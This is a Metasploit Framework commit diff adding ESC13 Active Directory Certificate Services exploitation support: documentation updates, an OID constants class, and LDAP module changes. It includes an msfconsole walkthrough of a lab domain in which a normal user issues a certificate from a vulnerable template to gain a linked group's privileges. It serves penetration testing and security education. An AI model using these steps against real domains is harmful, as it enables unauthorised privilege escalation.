Land #18892, Add AD CS Updates for ESC13
This PR adds functionality to enable Metasploit users to be able to exploit the latest ESC technique, ESC13.
This commit is contained in:
commit
4b54d43db5
|
@ -224,6 +224,7 @@ queries:
|
||||||
- adminCount
|
- adminCount
|
||||||
- managedBy
|
- managedBy
|
||||||
- groupAttributes
|
- groupAttributes
|
||||||
|
- objectSID
|
||||||
references:
|
references:
|
||||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||||
- action: ENUM_GROUP_POLICY_OBJECTS
|
- action: ENUM_GROUP_POLICY_OBJECTS
|
||||||
|
|
|
@ -32,7 +32,7 @@ exclude:
|
||||||
# just-the-docs config
|
# just-the-docs config
|
||||||
mermaid_enabled: true
|
mermaid_enabled: true
|
||||||
mermaid:
|
mermaid:
|
||||||
version: "9.2.2"
|
version: "10.8.0"
|
||||||
heading_anchors: true
|
heading_anchors: true
|
||||||
aux_links_new_tab: true
|
aux_links_new_tab: true
|
||||||
aux_links:
|
aux_links:
|
||||||
|
|
|
@ -5,18 +5,39 @@ for testing purposes.
|
||||||
# Introduction to AD CS Vulnerabilities
|
# Introduction to AD CS Vulnerabilities
|
||||||
```mermaid
|
```mermaid
|
||||||
flowchart TD
|
flowchart TD
|
||||||
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
|
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
|
||||||
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
|
ESC4(ESC4)
|
||||||
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
|
update_template[<i>Update Template</i>]
|
||||||
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
|
ESC4 --> update_template
|
||||||
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
|
end
|
||||||
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
|
subgraph icpr_cert[<b>icpr_cert</b>]
|
||||||
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
ESC1(ESC1)
|
||||||
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
ESC2(ESC2)
|
||||||
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
|
ESC3(ESC3)
|
||||||
|
ESC13(ESC13)
|
||||||
|
alt_subject[<i>Alternate Subject Issuance</i>]
|
||||||
|
as_eagent[<i>Enrollment Agent Issuance</i>]
|
||||||
|
normal[<i>Normal Issuance</i>]
|
||||||
|
|
||||||
|
ESC1 --> alt_subject
|
||||||
|
ESC2 --> as_eagent
|
||||||
|
ESC3 --> as_eagent
|
||||||
|
ESC13 --> normal
|
||||||
|
as_eagent -- use new certificate --> normal
|
||||||
|
end
|
||||||
|
subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
|
||||||
|
PKINIT[<i>PKINIT</i>]
|
||||||
|
end
|
||||||
|
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
|
||||||
|
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
|
||||||
|
end
|
||||||
|
alt_subject --> PKINIT
|
||||||
|
find_vulnerable_templates --> icpr_cert
|
||||||
|
normal --> PKINIT
|
||||||
|
update_template --> ESC1
|
||||||
```
|
```
|
||||||
|
|
||||||
The chart above showcases how one can go about attacking four common AD CS
|
The chart above showcases how one can go about attacking five unique AD CS
|
||||||
vulnerabilities, taking advantage of various flaws in how certificate templates are
|
vulnerabilities, taking advantage of various flaws in how certificate templates are
|
||||||
configured on an Active Directory Certificate Server.
|
configured on an Active Directory Certificate Server.
|
||||||
|
|
||||||
|
@ -30,8 +51,7 @@ administrator via Kerberos.
|
||||||
Each certificate template vulnerability that will be discussed here has a ESC code, such
|
Each certificate template vulnerability that will be discussed here has a ESC code, such
|
||||||
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
|
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
|
||||||
SpecterOps published which popularized these certificate template attacks, known as
|
SpecterOps published which popularized these certificate template attacks, known as
|
||||||
[Certified
|
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||||
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
|
||||||
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
|
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
|
||||||
attacks that they found they could conduct via misconfigured certificate templates:
|
attacks that they found they could conduct via misconfigured certificate templates:
|
||||||
|
|
||||||
|
@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
|
||||||
- ESC7 - Vulnerable Certificate Authority Access Control
|
- ESC7 - Vulnerable Certificate Authority Access Control
|
||||||
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
|
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
|
||||||
|
|
||||||
Later, another
|
Later, additional techniques were disclosed by security researchers:
|
||||||
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
|
||||||
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
|
|
||||||
could allow normal domain joined users to abuse certificate template misconfigurations to
|
|
||||||
gain domain administrator privileges.
|
|
||||||
|
|
||||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
|
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
|
||||||
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
|
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
|
||||||
`CertificateMappingMethods` contains `UPN` flag.
|
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||||
- ESC10 - Weak Certificate Mappings -
|
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||||
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
|
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
|
||||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
|
StrongCertificateBindingEnforcement` is set to `0`.
|
||||||
|
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||||
|
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||||
|
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
|
||||||
|
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||||
|
- [Relaying to AD Certificate Services over
|
||||||
|
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
|
||||||
|
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
|
||||||
|
key.
|
||||||
|
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
|
||||||
|
- ESC13 - Domain escalation via issuance policies with group links.
|
||||||
|
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
|
||||||
|
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
|
||||||
|
|
||||||
Finally, we have ESC11, which was discovered by Compass Security and described in their
|
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
|
||||||
[blog
|
this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
|
||||||
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
|
||||||
|
|
||||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
|
|
||||||
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
|
||||||
|
|
||||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
|
|
||||||
this page only covers exploiting ESC1 to ESC4 at this time.
|
|
||||||
|
|
||||||
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
||||||
as the diagram notes above. This is because in ESC1, one has control over the
|
as the diagram notes above. This is because in ESC1, one has control over the
|
||||||
|
@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
|
||||||
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
|
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
|
||||||
which users or groups can use that certificate template to elevate their privileges.
|
which users or groups can use that certificate template to elevate their privileges.
|
||||||
|
|
||||||
At this time, the module is capable of identifying techniques ESC1 through ESC3.
|
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
|
||||||
|
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
|
||||||
|
analyzing the objects in LDAP.
|
||||||
|
|
||||||
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
|
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
|
||||||
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
|
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
|
||||||
|
@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||||
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
|
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
|
||||||
used to authenticate to Active Directory as the Domain Admin.
|
used to authenticate to Active Directory as the Domain Admin.
|
||||||
|
|
||||||
|
# Exploiting ESC13
|
||||||
|
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
|
||||||
|
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
|
||||||
|
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
|
||||||
|
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
|
||||||
|
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
|
||||||
|
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
|
||||||
|
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||||
|
...
|
||||||
|
[*] Template: ESC13-Test
|
||||||
|
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
|
||||||
|
[*] Vulnerable to: ESC13
|
||||||
|
[*] Notes: ESC13 groups: ESC13-Group
|
||||||
|
[*] Certificate Template Enrollment SIDs:
|
||||||
|
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||||
|
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
|
||||||
|
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||||
|
[*] Issuing CAs:
|
||||||
|
[*] * collalabs1-SRV-ADDS01-CA
|
||||||
|
[*] Server: SRV-ADDS01.collalabs1.local
|
||||||
|
[*] Enrollment SIDs:
|
||||||
|
[*] * S-1-5-11 (Authenticated Users)
|
||||||
|
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||||
|
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||||
|
```
|
||||||
|
|
||||||
|
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
|
||||||
|
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||||
|
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||||
|
RHOSTS => 172.30.239.85
|
||||||
|
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||||
|
SMBUser => normaluser
|
||||||
|
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
|
||||||
|
SMBDomain => COLLALABS1
|
||||||
|
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||||
|
SMBPass => normalpass
|
||||||
|
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
|
||||||
|
CA => collalabs1-SRV-ADDS01-CA
|
||||||
|
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
|
||||||
|
CERT_TEMPLATE => ESC13-Test
|
||||||
|
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||||
|
[*] Running module against 172.30.239.85
|
||||||
|
|
||||||
|
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||||
|
[*] 172.30.239.85:445 - Certificate Email: normaluser@collalabs1.local
|
||||||
|
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
|
||||||
|
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
|
||||||
|
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||||
|
```
|
||||||
|
|
||||||
|
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
|
||||||
|
RID present in the Groups field of the TGT PAC.
|
||||||
|
|
||||||
# Authenticating With A Certificate
|
# Authenticating With A Certificate
|
||||||
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
||||||
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
||||||
|
|
|
@ -51,14 +51,24 @@ module Msf
|
||||||
|
|
||||||
def generate_rex_tables(entry, format)
|
def generate_rex_tables(entry, format)
|
||||||
tbl = Rex::Text::Table.new(
|
tbl = Rex::Text::Table.new(
|
||||||
'Header' => entry[:dn][0].split(',').join(' '),
|
'Header' => entry[:dn].first,
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Columns' => %w[Name Attributes]
|
'Columns' => %w[Name Attributes],
|
||||||
|
'ColProps' => { 'Name' => { 'Strip' => false } },
|
||||||
|
'SortIndex' => -1,
|
||||||
|
'WordWrap' => false
|
||||||
)
|
)
|
||||||
|
|
||||||
entry.each_key do |attr|
|
entry.keys.sort.each do |attr|
|
||||||
if format == 'table'
|
if format == 'table'
|
||||||
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
|
next if attr == :dn # Skip over DN entries for tables since DN information is shown in header.
|
||||||
|
|
||||||
|
tbl << [attr, entry[attr].first]
|
||||||
|
if entry[attr].length > 1
|
||||||
|
entry[attr][1...].each do |additional_attr|
|
||||||
|
tbl << [ ' \\_', additional_attr]
|
||||||
|
end
|
||||||
|
end
|
||||||
else
|
else
|
||||||
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
|
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,78 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rasn1'.freeze
|
||||||
|
require 'rex/proto/crypto_asn1/types'
|
||||||
|
|
||||||
|
module Rex::Proto::CryptoAsn1
|
||||||
|
class ObjectId < OpenSSL::ASN1::ObjectId
|
||||||
|
attr_reader :label, :name
|
||||||
|
def initialize(*args, label: nil, name: nil)
|
||||||
|
@label = label
|
||||||
|
@name = name
|
||||||
|
super(*args)
|
||||||
|
end
|
||||||
|
|
||||||
|
def eql?(other)
|
||||||
|
return false unless other.is_a?(self.class)
|
||||||
|
return false unless other.value == value
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
alias == eql?
|
||||||
|
|
||||||
|
# Returns whether or not this OID is one of Microsoft's
|
||||||
|
def microsoft?
|
||||||
|
@value.start_with?('1.3.6.1.4.1.311.') || @value == '1.3.6.1.4.1.311'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class OIDs
|
||||||
|
# see: https://learn.microsoft.com/en-us/windows/win32/api/certenroll/nn-certenroll-ix509extensionenhancedkeyusage
|
||||||
|
# see: https://www.pkisolutions.com/object-identifiers-oid-in-pki/
|
||||||
|
OID_ANY_APPLICATION_POLICY = ObjectId.new('1.3.6.1.4.1.311.10.12.1', name: 'OID_ANY_APPLICATION_POLICY')
|
||||||
|
OID_AUTO_ENROLL_CTL_USAGE = ObjectId.new('1.3.6.1.4.1.311.20.1', name: 'OID_AUTO_ENROLL_CTL_USAGE', label: 'CTL Usage')
|
||||||
|
OID_DRM = ObjectId.new('1.3.6.1.4.1.311.10.5.1', name: 'OID_DRM', label: 'Digital Rights')
|
||||||
|
OID_DS_EMAIL_REPLICATION = ObjectId.new('1.3.6.1.4.1.311.21.19', name: 'OID_DS_EMAIL_REPLICATION', label: 'Directory Service Email Replication')
|
||||||
|
OID_EFS_RECOVERY = ObjectId.new('1.3.6.1.4.1.311.10.3.4.1', name: 'OID_EFS_RECOVERY', label: 'File Recovery')
|
||||||
|
OID_EMBEDDED_NT_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.8', name: 'OID_EMBEDDED_NT_CRYPTO', label: 'Embedded Windows System Component Verification')
|
||||||
|
OID_ENROLLMENT_AGENT = ObjectId.new('1.3.6.1.4.1.311.20.2.1', name: 'OID_ENROLLMENT_AGENT', label: 'Certificate Request Agent')
|
||||||
|
OID_IPSEC_KP_IKE_INTERMEDIATE = ObjectId.new('1.3.6.1.5.5.8.2.2', name: 'OID_IPSEC_KP_IKE_INTERMEDIATE', label: 'IP Security IKE Intermediate')
|
||||||
|
OID_KP_CA_EXCHANGE = ObjectId.new('1.3.6.1.4.1.311.21.5', name: 'OID_KP_CA_EXCHANGE', label: 'Private Key Archival')
|
||||||
|
OID_KP_CTL_USAGE_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.1', name: 'OID_KP_CTL_USAGE_SIGNING', label: 'Microsoft Trust List Signing')
|
||||||
|
OID_KP_DOCUMENT_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.12', name: 'OID_KP_DOCUMENT_SIGNING', label: 'Document Signing')
|
||||||
|
OID_KP_EFS = ObjectId.new('1.3.6.1.4.1.311.10.3.4', name: 'OID_KP_EFS', label: 'Encrypting File System')
|
||||||
|
OID_KP_KEY_RECOVERY = ObjectId.new('1.3.6.1.4.1.311.10.3.11', name: 'OID_KP_KEY_RECOVERY', label: 'Key Recovery')
|
||||||
|
OID_KP_KEY_RECOVERY_AGENT = ObjectId.new('1.3.6.1.4.1.311.21.6', name: 'OID_KP_KEY_RECOVERY_AGENT', label: 'Key Recovery Agent')
|
||||||
|
OID_KP_LIFETIME_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.13', name: 'OID_KP_LIFETIME_SIGNING', label: 'Lifetime Signing')
|
||||||
|
OID_KP_QUALIFIED_SUBORDINATION = ObjectId.new('1.3.6.1.4.1.311.10.3.10', name: 'OID_KP_QUALIFIED_SUBORDINATION', label: 'Qualified Subordination')
|
||||||
|
OID_KP_SMARTCARD_LOGON = ObjectId.new('1.3.6.1.4.1.311.20.2.2', name: 'OID_KP_SMARTCARD_LOGON', label: 'Smart Card Logon')
|
||||||
|
OID_KP_TIME_STAMP_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.2', name: 'OID_KP_TIME_STAMP_SIGNING', label: 'Microsoft Time Stamping')
|
||||||
|
OID_LICENSE_SERVER = ObjectId.new('1.3.6.1.4.1.311.10.6.2', name: 'OID_LICENSE_SERVER', label: 'License Server Verification')
|
||||||
|
OID_LICENSES = ObjectId.new('1.3.6.1.4.1.311.10.6.1', name: 'OID_LICENSES', label: 'Key Pack Licenses')
|
||||||
|
OID_NT5_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.7', name: 'OID_NT5_CRYPTO', label: 'OEM Windows System Component Verification')
|
||||||
|
OID_OEM_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.7', name: 'OID_OEM_WHQL_CRYPTO', label: 'OEM Windows System Component Verification')
|
||||||
|
OID_PKIX_KP_CLIENT_AUTH = ObjectId.new('1.3.6.1.5.5.7.3.2', name: 'OID_PKIX_KP_CLIENT_AUTH', label: 'Client Authentication')
|
||||||
|
OID_PKIX_KP_CODE_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.3', name: 'OID_PKIX_KP_CODE_SIGNING', label: 'Code Signing')
|
||||||
|
OID_PKIX_KP_EMAIL_PROTECTION = ObjectId.new('1.3.6.1.5.5.7.3.4', name: 'OID_PKIX_KP_EMAIL_PROTECTION', label: 'Secure Email')
|
||||||
|
OID_PKIX_KP_IPSEC_END_SYSTEM = ObjectId.new('1.3.6.1.5.5.7.3.5', name: 'OID_PKIX_KP_IPSEC_END_SYSTEM', label: 'IP Security End System')
|
||||||
|
OID_PKIX_KP_IPSEC_TUNNEL = ObjectId.new('1.3.6.1.5.5.7.3.6', name: 'OID_PKIX_KP_IPSEC_TUNNEL', label: 'IP Security Tunnel Termination')
|
||||||
|
OID_PKIX_KP_IPSEC_USER = ObjectId.new('1.3.6.1.5.5.7.3.7', name: 'OID_PKIX_KP_IPSEC_USER', label: 'IP Security User')
|
||||||
|
OID_PKIX_KP_OCSP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.9', name: 'OID_PKIX_KP_OCSP_SIGNING', label: 'OCSP Signing')
|
||||||
|
OID_PKIX_KP_SERVER_AUTH = ObjectId.new('1.3.6.1.5.5.7.3.1', name: 'OID_PKIX_KP_SERVER_AUTH', label: 'Server Authentication')
|
||||||
|
OID_PKIX_KP_TIMESTAMP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.8', name: 'OID_PKIX_KP_TIMESTAMP_SIGNING', label: 'Time Stamping')
|
||||||
|
OID_ROOT_LIST_SIGNER = ObjectId.new('1.3.6.1.4.1.311.10.3.9', name: 'OID_ROOT_LIST_SIGNER', label: 'Root List Signer')
|
||||||
|
OID_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.5', name: 'OID_WHQL_CRYPTO', label: 'Windows Hardware Driver Verification')
|
||||||
|
|
||||||
|
def self.name(value)
|
||||||
|
value = ObjectId.new(value) if value.is_a?(String)
|
||||||
|
|
||||||
|
constants.select { |c| c.start_with?('OID_') }.find{ |c| const_get(c) == value }
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.value(value)
|
||||||
|
name = self.name(value)
|
||||||
|
return nil unless name
|
||||||
|
|
||||||
|
const_get(name)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -121,7 +121,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
def get_certificate_template
|
def get_certificate_template
|
||||||
obj = ldap_get(
|
obj = ldap_get(
|
||||||
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pkicertificatetemplate))",
|
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",
|
||||||
base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
|
base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
|
||||||
controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]
|
controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]
|
||||||
)
|
)
|
||||||
|
@ -149,6 +149,35 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first)
|
Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_pki_oids
|
||||||
|
return @pki_oids if @pki_oids.present?
|
||||||
|
|
||||||
|
raw_objs = @ldap.search(
|
||||||
|
base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
|
||||||
|
filter: '(objectClass=msPKI-Enterprise-OID)'
|
||||||
|
)
|
||||||
|
validate_query_result!(@ldap.get_operation_result.table)
|
||||||
|
return nil unless raw_objs
|
||||||
|
|
||||||
|
@pki_oids = []
|
||||||
|
raw_objs.each do |raw_obj|
|
||||||
|
obj = {}
|
||||||
|
raw_obj.attribute_names.each do |attr|
|
||||||
|
obj[attr.to_s] = raw_obj[attr].map(&:to_s)
|
||||||
|
end
|
||||||
|
|
||||||
|
@pki_oids << obj
|
||||||
|
end
|
||||||
|
@pki_oids
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_pki_oid_displayname(oid)
|
||||||
|
oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
|
||||||
|
return nil unless oid_obj && oid_obj['displayname'].present?
|
||||||
|
|
||||||
|
oid_obj['displayname'].first
|
||||||
|
end
|
||||||
|
|
||||||
def dump_to_json(template)
|
def dump_to_json(template)
|
||||||
json = {}
|
json = {}
|
||||||
|
|
||||||
|
@ -393,11 +422,34 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
if obj['pkiextendedkeyusage'].present?
|
if obj['pkiextendedkeyusage'].present?
|
||||||
print_status(' pKIExtendedKeyUsage:')
|
print_status(' pKIExtendedKeyUsage:')
|
||||||
obj['pkiextendedkeyusage'].each do |value|
|
obj['pkiextendedkeyusage'].each do |value|
|
||||||
|
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
|
||||||
|
print_status(" * #{value} (#{oid.label})")
|
||||||
|
else
|
||||||
print_status(" * #{value}")
|
print_status(" * #{value}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if obj['mspki-certificate-policy'].present?
|
||||||
|
if obj['mspki-certificate-policy'].length == 1
|
||||||
|
if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?
|
||||||
|
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")
|
||||||
|
else
|
||||||
|
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_status(' msPKI-Certificate-Policy:')
|
||||||
|
obj['mspki-certificate-policy'].each do |value|
|
||||||
|
if (oid_name = get_pki_oid_displayname(value)).present?
|
||||||
|
print_status(" * #{value} (#{oid_name})")
|
||||||
|
else
|
||||||
|
print_status(" * #{value}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def action_update
|
def action_update
|
||||||
obj = get_certificate_template
|
obj = get_certificate_template
|
||||||
new_configuration = load_local_template
|
new_configuration = load_local_template
|
||||||
|
|
|
@ -2,6 +2,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Remote::LDAP
|
include Msf::Exploit::Remote::LDAP
|
||||||
|
|
||||||
|
ADS_GROUP_TYPE_BUILTIN_LOCAL_GROUP = 0x00000001
|
||||||
|
ADS_GROUP_TYPE_GLOBAL_GROUP = 0x00000002
|
||||||
|
ADS_GROUP_TYPE_DOMAIN_LOCAL_GROUP = 0x00000004
|
||||||
|
ADS_GROUP_TYPE_SECURITY_ENABLED = 0x80000000
|
||||||
|
ADS_GROUP_TYPE_UNIVERSAL_GROUP = 0x00000008
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(
|
super(
|
||||||
update_info(
|
update_info(
|
||||||
|
@ -18,13 +24,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
allows enrollment in and which SIDs are authorized to use that certificate server to
|
allows enrollment in and which SIDs are authorized to use that certificate server to
|
||||||
perform this enrollment operation.
|
perform this enrollment operation.
|
||||||
|
|
||||||
Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.
|
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and
|
||||||
|
ESC13. The module is limited to checking for these techniques due to them being identifiable remotely from a
|
||||||
|
normal user account by analyzing the objects in LDAP.
|
||||||
},
|
},
|
||||||
'Author' => [
|
'Author' => [
|
||||||
'Grant Willcox', # Original module author
|
'Grant Willcox', # Original module author
|
||||||
|
'Spencer McIntyre' # ESC13 update
|
||||||
],
|
],
|
||||||
